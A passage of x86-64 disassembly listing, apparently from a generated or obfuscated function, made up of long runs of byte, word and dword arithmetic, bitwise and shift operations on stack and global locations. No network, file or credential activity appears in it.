movzx ecx, word [rsp + 0xeb8]
and eax, ecx
mov rcx, qword [rsp + 0x7a68]
mov word [rcx], ax
movzx eax, byte [0x140178eca]
mov byte [rsp + 0x235], al
movzx eax, byte [rsp + 0x1e7]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e5], al
lea rax, [rsp + 0x5178]
mov qword [rsp + 0x89f8], rax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x5d38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6270]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3064]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x82d8]
mov dword [rcx], eax
lea rax, [rsp + 0x2df8]
mov qword [rsp + 0x8a00], rax
mov rax, qword [0x14017a258]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x6b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf7]
add eax, ecx
mov byte [0x140178f22], al
mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
mov byte [rsp + 0x236], al
mov rax, qword [0x14017a698]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf08]
add eax, ecx
mov word [rsp + 0x964], ax
mov rax, qword [rsp + 0x6290]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe4c]
sub eax, ecx
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x5568]
movzx eax, byte [rax]
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0x6d28]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7498]
mov qword [rcx], rax
lea rax, [rsp + 0x6698]
mov qword [rsp + 0x8a08], rax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6510]
mov qword [rsp + 0x8a10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8a10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2f80], eax
mov rax, qword [rsp + 0x71f8]
mov ecx, dword [rsp + 0x30e0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xdb0]
mov rcx, qword [rsp + 0x7878]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140178fec], ax
movzx eax, byte [0x140178ef6]
mov byte [rsp + 0x238], al
movzx eax, word [rsp + 0x890]
mov rcx, qword [rsp + 0x5478]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4fe0]
mov word [rcx], ax
lea rax, [rsp + 0x19c]
mov qword [rsp + 0x8a18], rax
movzx eax, byte [rsp + 0x220]
movzx ecx, byte [rsp + 0x13e]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov eax, dword [rsp + 0x29dc]
mov ecx, dword [rsp + 0x3014]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bf8], eax
mov rax, qword [rsp + 0x5e90]
mov rax, qword [rax]
mov qword [rsp + 0x8a20], rax
mov rax, qword [rsp + 0x54c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8308], rax
lea rax, [rsp + 0x2ea8]
mov qword [rsp + 0x8a28], rax
movsx eax, word [rsp + 0xcf4]
mov rcx, qword [rsp + 0x5e80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a648]
mov word [rcx], ax
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x880]
sub eax, ecx
mov word [rsp + 0xaec], ax
movzx eax, byte [rsp + 0x100]
mov byte [rsp + 0x239], al
movzx eax, word [rsp + 0x8b8]
mov rcx, qword [rsp + 0x7b58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ba8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcdc], ax
lea rax, [rsp + 0x6148]
mov qword [rsp + 0x8a30], rax
mov rax, qword [rsp + 0x6f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d6c], eax
mov eax, dword [rsp + 0x2f84]
mov dword [rsp + 0x3118], eax
mov rax, qword [rsp + 0x7f20]
mov rcx, qword [rsp + 0x73d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a98], rax
lea rax, [rsp + 0x212]
mov qword [0x14017a868], rax
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
movsx ecx, word [0x140178eb8]
add eax, ecx
mov rcx, qword [rsp + 0x7370]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f1]
mov byte [rsp + 0x23a], al
movzx eax, byte [rsp + 0x1fc]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x8e], al
movzx eax, word [rsp + 0x884]
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x52a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5720]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6780], rax
mov eax, dword [rsp + 0x2d50]
movzx ecx, al
mov eax, dword [rsp + 0x2c9c]
sar eax, cl
mov rcx, qword [rsp + 0x86d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e20]
mov qword [rsp + 0x8a38], rax
mov rax, qword [rsp + 0x5ad0]
mov rcx, qword [rsp + 0x8748]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x6888]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x52d0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a240]
mov byte [rcx], al
lea rax, [0x14017a0cd]
mov qword [rsp + 0x8a40], rax
movsx eax, word [rsp + 0x958]
mov rcx, qword [rsp + 0x5fd8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbd8], ax
movzx eax, word [rsp + 0xa5c]
mov word [rsp + 0xf4c], ax
movsx eax, byte [rsp + 0x1b2]
mov rcx, qword [0x14017a7c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x78b8]
mov rcx, qword [rsp + 0x8750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d68], eax
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x311c], eax
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8758], rax
mov rax, qword [rsp + 0x6950]
mov qword [rsp + 0x8a48], rax
movzx eax, word [rsp + 0xecc]
mov word [0x14017a870], ax
mov rax, qword [rsp + 0x6490]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x111]
add eax, ecx
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x7cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x86c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcdc], ax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x8a50], rax
mov rax, qword [rsp + 0x52c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5780]
mov word [rcx], ax
lea rax, [rsp + 0x2ed4]
mov qword [rsp + 0x8a58], rax
mov rax, qword [rsp + 0x6e38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6580], rax
mov eax, dword [rsp + 0x2d8c]
mov ecx, dword [rsp + 0x2df8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x6b80]
mov rax, qword [rax]
mov qword [rsp + 0x8a60], rax
mov rax, qword [rsp + 0x8260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbc8]
sar eax, cl
mov rcx, qword [0x14017a168]
mov word [rcx], ax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0x67e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f8], al
movzx eax, word [rsp + 0x910]
mov word [rsp + 0xf50], ax
movsx eax, word [rsp + 0xd70]
mov rcx, qword [rsp + 0x7660]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa40], ax
mov rax, qword [rsp + 0x65f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x84]
xor eax, ecx
mov byte [rsp + 0x73], al
lea rax, [rsp + 0x5d60]
mov qword [rsp + 0x8a68], rax
mov rax, qword [rsp + 0x8750]
mov ecx, dword [rsp + 0x2df8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8878]
mov rax, qword [rax]
mov qword [rsp + 0x8a70], rax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x4f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ea8], eax
mov rax, qword [rsp + 0x7cd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov rcx, qword [0x14017a7a0]
mov word [rcx], ax
movzx eax, word [0x14017a6b8]
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x165]
add eax, ecx
mov byte [rsp + 0x197], al
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [rsp + 0xde]
sub eax, ecx
mov rcx, qword [rsp + 0x8020]
mov byte [rcx], al
movzx eax, byte [str.KP2_v]
mov byte [rsp + 0x23b], al
mov eax, dword [rsp + 0x2e00]
mov ecx, dword [rsp + 0x2ce4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78b0]
mov dword [rcx], eax
lea rax, [rsp + 0x4b78]
mov qword [rsp + 0x8a78], rax
mov rax, qword [rsp + 0x60b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5638], rax
mov rax, qword [rsp + 0x5398]
mov ecx, dword [rsp + 0x2e70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ad0], eax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x8a80], rax
mov rax, qword [rsp + 0x50a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e0]
sub eax, ecx
mov word [0x140178ff0], ax
mov rax, qword [rsp + 0x7518]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x57b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x180], al
lea rax, [rsp + 0xbe8]
mov qword [rsp + 0x8a88], rax
movsx eax, byte [0x14017a143]
movsx ecx, byte [rsp + 0x122]
sar eax, cl
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7190]
mov rcx, qword [rsp + 0x7490]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8150]
mov rax, qword [rax]
mov qword [rsp + 0x8a90], rax
mov rax, qword [rsp + 0x6140]
mov ecx, dword [rsp + 0x2a04]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2bec], eax
mov eax, dword [rsp + 0x2c94]
mov dword [rsp + 0x3120], eax
movsx eax, word [rsp + 0x988]
mov rcx, qword [rsp + 0x70d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [0x14017a170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x225]
and eax, ecx
mov byte [0x14017a0fb], al
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x10c]
sub eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
mov rax, qword [0x14017a248]
movzx eax, word [rax]
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0x80d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x3000]
mov qword [rsp + 0x8a98], rax
mov rax, qword [rsp + 0x89c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x89a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x3064]
mov dword [rsp + 0x3124], eax
mov rax, qword [rsp + 0x7be8]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x60a0], rax
movsx eax, byte [rsp + 0x237]
mov rcx, qword [0x14017a310]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb7c]
add eax, ecx
mov word [0x140178ff4], ax
lea rax, [rsp + 0xb60]
mov qword [rsp + 0x8aa0], rax
mov rax, qword [rsp + 0x8498]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
sub eax, ecx
mov byte [rsp + 0x1c0], al
lea rax, [rsp + 0xbf4]
mov qword [rsp + 0x8aa8], rax
mov rax, qword [rsp + 0x86e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7dc0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8648], rax
mov rax, qword [rsp + 0x7eb8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67c0]
mov rax, qword [rax]
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x85f0]
mov ecx, dword [rsp + 0x2eb8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3088], eax
movzx eax, word [0x140178fc8]
mov word [rsp + 0xf5c], ax
mov rax, qword [rsp + 0x6860]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7e40]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a128]
mov byte [rcx], al
movsx eax, word [rsp + 0xad8]
mov rcx, qword [rsp + 0x7ec8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8a0], ax
movzx eax, word [rsp + 0xed4]
movzx ecx, word [rsp + 0xa4c]
add eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x80f0]
movzx eax, byte [rax]
mov byte [rsp + 0x23c], al
movsx eax, word [rsp + 0xec4]
mov rcx, qword [rsp + 0x5690]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaf8], ax
mov rax, qword [rsp + 0x77e8]
mov rax, qword [rax]
mov qword [rsp + 0x8ab8], rax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6440]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3090]
mov dword [rsp + 0x3128], eax
mov eax, dword [rsp + 0x2bb0]
mov ecx, dword [0x140178e8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x80c0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x104]
mov byte [0x14017a204], al
movzx eax, word [rsp + 0xba8]
mov rcx, qword [rsp + 0x85f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
lea rax, [rsp + 0x227]
mov qword [rsp + 0x8ac0], rax
movzx eax, word [rsp + 0x92c]
movzx ecx, word [rsp + 0xcac]
add eax, ecx
mov rcx, qword [rsp + 0x7960]
mov word [rcx], ax
mov rax, qword [rsp + 0x63e8]
movzx eax, byte [rax]
mov byte [rsp + 0x23d], al
mov rax, qword [rsp + 0x4ea0]
mov rcx, qword [rsp + 0x6318]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x55f0], rax
mov rax, qword [rsp + 0x50c0]
mov ecx, dword [rsp + 0x2f44]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8338]
mov dword [rcx], eax
lea rax, [rsp + 0x2ce8]
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0x64e8]
mov rcx, qword [rsp + 0x5978]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x76a8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xa30]
mov rcx, qword [rsp + 0x7d70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a488], ax
movzx eax, word [rsp + 0xe04]
mov word [rsp + 0xf60], ax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0x181]
add eax, ecx
mov rcx, qword [rsp + 0x8380]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
sar eax, cl
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
lea rax, [rsp + 0x149]
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x52a8]
mov rcx, qword [rsp + 0x6b00]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8a20], rax
mov rax, qword [rsp + 0x7570]
mov eax, dword [rax]
mov dword [rsp + 0x312c], eax
mov eax, dword [rsp + 0x2e94]
mov ecx, dword [rsp + 0x2a6c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e24], eax
mov rax, qword [rsp + 0x54c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5860]
mov qword [rsp + 0x8ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ad8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x69f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ec0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb8c]
and eax, ecx
mov word [0x140178ff8], ax
lea rax, [rsp + 0xca8]
mov qword [rsp + 0x8ae0], rax
movsx eax, byte [0x140178f0f]
mov rcx, qword [rsp + 0x8410]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x176], al
movzx eax, word [rsp + 0xdb8]
mov word [rsp + 0xf64], ax
movzx eax, byte [rsp + 0x138]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov byte [rcx], al
lea rax, [0x14017a058]
mov qword [rsp + 0x8ae8], rax
mov rax, qword [rsp + 0x5470]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a34], eax
mov rax, qword [rsp + 0x7c00]
mov rcx, qword [rsp + 0x50b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30dc], eax
mov rax, qword [rsp + 0x4f40]
mov qword [rsp + 0x8af0], rax
lea rax, [rsp + 0x110]
mov qword [0x14017a878], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8700]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8340]
mov byte [rcx], al
lea rax, [rsp + 0xd08]
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe58]
sub eax, ecx
mov word [rsp + 0xc44], ax
mov rax, qword [rsp + 0x8440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6700]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x960], ax
mov rax, qword [rsp + 0x5828]
mov eax, dword [rax]
mov dword [rsp + 0x3130], eax
mov rax, qword [rsp + 0x5220]
mov ecx, dword [rsp + 0x2d90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3058], eax
mov rax, qword [rsp + 0x7910]
mov rax, qword [rax]
mov qword [rsp + 0x8b00], rax
mov rax, qword [rsp + 0x6ee0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ac8]
sar rax, cl
mov rcx, qword [rsp + 0x7958]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a4b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7f58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d2]
or eax, ecx
mov rcx, qword [rsp + 0x54e0]
mov byte [rcx], al
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x8b08], rax
movzx eax, word [rsp + 0x8a8]
movzx ecx, word [rsp + 0xb2c]
shl eax, cl
mov rcx, qword [rsp + 0x6100]
mov word [rcx], ax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x8b10], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x2d40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x89b8]
mov dword [rcx], eax
lea rax, [rsp + 0x2bd4]
mov qword [rsp + 0x8b18], rax
mov rax, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x7238]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8a08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8390]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7be8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x77f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f14], ax
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0x8b20], rax
movzx eax, word [0x140178f64]
mov rcx, qword [rsp + 0x6ff0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x884], ax
movzx eax, byte [rsp + 0x11f]
mov byte [rsp + 0x23e], al
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6718]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x59e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8800]
mov rcx, qword [rsp + 0x5588]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8160]
mov qword [rcx], rax
lea rax, [rsp + 0x301c]
mov qword [rsp + 0x8b28], rax
mov rax, qword [rsp + 0x78a8]
mov rcx, qword [str.kD3]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x73f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62c8]
mov eax, dword [rax]
mov dword [rsp + 0x3134], eax
mov rax, qword [rsp + 0x7f58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x201]
sub eax, ecx
mov byte [0x140178f23], al
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5fa0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9d], al
movzx eax, byte [rsp + 0x20e]
movzx ecx, byte [rsp + 0xba]
shl eax, cl
mov rcx, qword [rsp + 0x6fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e00]
movzx eax, word [rax]
mov word [rsp + 0xf68], ax
movzx eax, word [rsp + 0xbc4]
movzx ecx, word [0x14017a4dc]
sar eax, cl
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
mov dword [rsp + 0x3138], eax
mov rax, qword [rsp + 0x62d0]
mov rcx, qword [rsp + 0x8808]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6978]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bbc]
mov dword [rsp + 0x313c], eax
mov rax, qword [rsp + 0x62f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
and eax, ecx
mov byte [rsp + 0x9e], al
lea rax, [rsp + 0x1f9]
mov qword [0x14017a880], rax
mov rax, qword [rsp + 0x76f8]
movzx eax, word [rax]
mov word [rsp + 0xf6c], ax
movsx eax, word [rsp + 0xb40]
mov rcx, qword [rsp + 0x6700]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x65c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xe90]
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x5d28]
mov rcx, qword [rsp + 0x5e58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8938], rax
mov rax, qword [rsp + 0x6248]
mov ecx, dword [rsp + 0x2db0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af0], eax
lea rax, [rsp + 0x7b88]
mov qword [rsp + 0x8b30], rax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e14], eax
lea rax, [rsp + 0xb84]
mov qword [rsp + 0x8b38], rax
mov rax, qword [rsp + 0x5c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ef7], al
mov rax, qword [0x14017a5a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7280]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x8358]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8a18]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e38]
mov byte [rcx], al
lea rax, [rsp + 0x196]
mov qword [rsp + 0x8b40], rax
mov rax, qword [rsp + 0x6960]
mov rcx, qword [rsp + 0x6790]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3014], eax
lea rax, [rsp + 0x6ae0]
mov qword [rsp + 0x8b48], rax
mov rax, qword [rsp + 0x7068]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8038]
mov rcx, qword [rsp + 0x7fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5188]
mov qword [rcx], rax
lea rax, [rsp + 0xeb]
mov qword [rsp + 0x8b50], rax
movzx eax, byte [rsp + 0x1f5]
movzx ecx, byte [rsp + 0xe9]
sar eax, cl
mov rcx, qword [0x14017a3d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa10]
shl eax, cl
mov rcx, qword [rsp + 0x5ca0]
mov word [rcx], ax
movzx eax, word [rsp + 0xac8]
mov word [rsp + 0xf74], ax
movzx eax, word [rsp + 0xab4]
movzx ecx, word [rsp + 0xa3c]
or eax, ecx
mov word [rsp + 0x91c], ax
mov rax, qword [rsp + 0x7cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3078], eax
lea rax, [rsp + 0x7378]
mov qword [rsp + 0x8b58], rax
mov eax, dword [rsp + 0x303c]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6658]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6390]
mov qword [rsp + 0x8b60], rax
mov rax, qword [rsp + 0x5690]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5090]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5578]
mov word [rcx], ax
movzx eax, word [0x140178f90]
mov word [0x14017a888], ax
lea rax, [rsp + 0xf4]
mov qword [rsp + 0x8b68], rax
movsx eax, byte [rsp + 0xf9]
movsx ecx, byte [rsp + 0xd9]
sub eax, ecx
mov rcx, qword [rsp + 0x6400]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6e]
movsx ecx, byte [rsp + 0xe2]
add eax, ecx
mov byte [rsp + 0x23a], al
movzx eax, byte [rsp + 0x186]
mov byte [rsp + 0x23f], al
mov rax, qword [rsp + 0x6ee0]
mov rcx, qword [rsp + 0x8538]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x70e8], rax
mov eax, dword [rsp + 0x2da4]
mov dword [rsp + 0x3140], eax
mov rax, qword [rsp + 0x7368]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7580]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b80]
mov qword [rcx], rax
movzx eax, word [0x140178fc4]
